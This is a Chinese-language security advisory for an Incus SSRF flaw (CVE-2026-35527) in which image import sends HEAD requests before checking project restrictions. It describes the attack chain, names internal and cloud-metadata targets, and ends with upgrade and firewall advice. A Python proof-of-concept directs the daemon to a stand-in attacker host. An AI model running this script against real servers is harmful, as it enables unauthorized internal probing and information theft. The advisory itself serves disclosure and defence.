IPBUF安全漏洞报告
English
CVE-2026-35527 CVSS 5.0 中危

CVE-2026-35527 Incus 服务器端请求伪造漏洞 (SSRF)

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-35527
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Incus

相关标签

SSRFIncus容器安全信息泄露Blind SSRF

漏洞概述

Incus是开源容器和虚拟机管理器,在7.0.0之前的版本中存在漏洞。镜像导入流程在验证项目限制(如restricted.images.servers)之前,会先向用户提供的URL发起出站HEAD请求。尽管实际镜像下载会被阻止,但经过身份验证的用户可诱导守护进程向任意目标发送盲HEAD请求。此SSRF漏洞可用于探测内部服务,并通过自定义响应头泄露主机环境的架构和版本信息。

技术细节

该漏洞源于Incus的`imgPostURLInfo`函数在处理镜像导入时的逻辑缺陷。正常流程中,导入镜像应先检查项目安全策略(如`restricted.images.servers`),但在7.0.0之前的版本中,系统为了解析镜像元数据,会直接根据攻击者提供的源URL构造并发送一个HTTP HEAD请求。关键问题在于,这个网络交互发生在系统检查项目限制策略之前,导致验证机制被绕过。
攻击者利用此漏洞,只需拥有一个经过身份验证的低权限账户,即可指定任意的内部地址(如127.0.0.1、AWS元数据服务地址169.254.169.254等)作为镜像URL。尽管系统后续会基于策略拒绝镜像数据的实际下载,但恶意的HEAD请求已经成功发出。攻击者可以通过监听服务器发回的请求,读取其中的自定义响应头(如`Incus-Server-Architectures`和`Incus-Server-Version`),从而获取服务器敏感信息。这种盲SSRF(Blind SSRF)原语不仅造成信息泄露,还可用于扫描内网端口或探测云环境元数据,为进一步攻击提供情报。

攻击链分析

STEP 1
步骤1:身份认证
攻击者获取Incus实例的一个低权限用户账户凭证。
STEP 2
步骤2:构造恶意请求
攻击者调用镜像导入API,将`source`参数设置为内部服务地址或攻击者控制的URL(如元数据服务地址)。
STEP 3
步骤3:触发SSRF
Incus守护进程在验证`restricted.images.servers`策略之前,直接向攻击者指定的URL发送HTTP HEAD请求。
STEP 4
步骤4:信息泄露
目标端点接收到请求,攻击者通过请求头中的`Incus-Server-Architectures`和`Incus-Server-Version`获取服务器敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # Target Incus instance TARGET_URL = "https://your-incus-instance:8443" CERT_PATH = "/path/to/client.crt" KEY_PATH = "/path/to/client.key" # Attacker controlled server to receive the blind SSRF request ATTACKER_URL = "http://attacker-server.com/capture" def trigger_ssrf(): """ This script simulates triggering the SSRF by creating an image import operation pointing to an internal or attacker-controlled URL. """ session = requests.Session() session.cert = (CERT_PATH, KEY_PATH) session.verify = False # Ignore SSL warnings for demo # Payload: The URL that Incus will send a HEAD request to # This could be an internal IP or metadata service payload = { "public": False, "source": { "type": "url", "url": ATTACKER_URL # URL to receive the HEAD request }, "filename": "malicious_img" } try: print(f"[*] Attempting to import image from: {ATTACKER_URL}") # Endpoint to create images (may vary based on Incus API version) response = session.post(f"{TARGET_URL}/1.0/images", json=payload) if response.status_code == 202: print("[+] Request accepted. Check attacker server for the HEAD request.") print("[+] The response should contain headers: Incus-Server-Architectures, Incus-Server-Version") else: print(f"[-] Unexpected status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": trigger_ssrf()

影响范围

Incus < 7.0.0

防御指南

临时缓解措施
建议管理员立即升级Incus至7.0.0或更高版本以修复此漏洞。在无法立即升级的情况下,应严格限制Incus守护进程的网络出站访问权限,利用网络防火墙或安全组规则阻止其访问敏感的内网段(如127.0.0.1、10.0.0.0/8等)和云元数据服务(如169.254.169.254),并加强对用户权限的管控,仅允许受信任的用户执行镜像导入操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表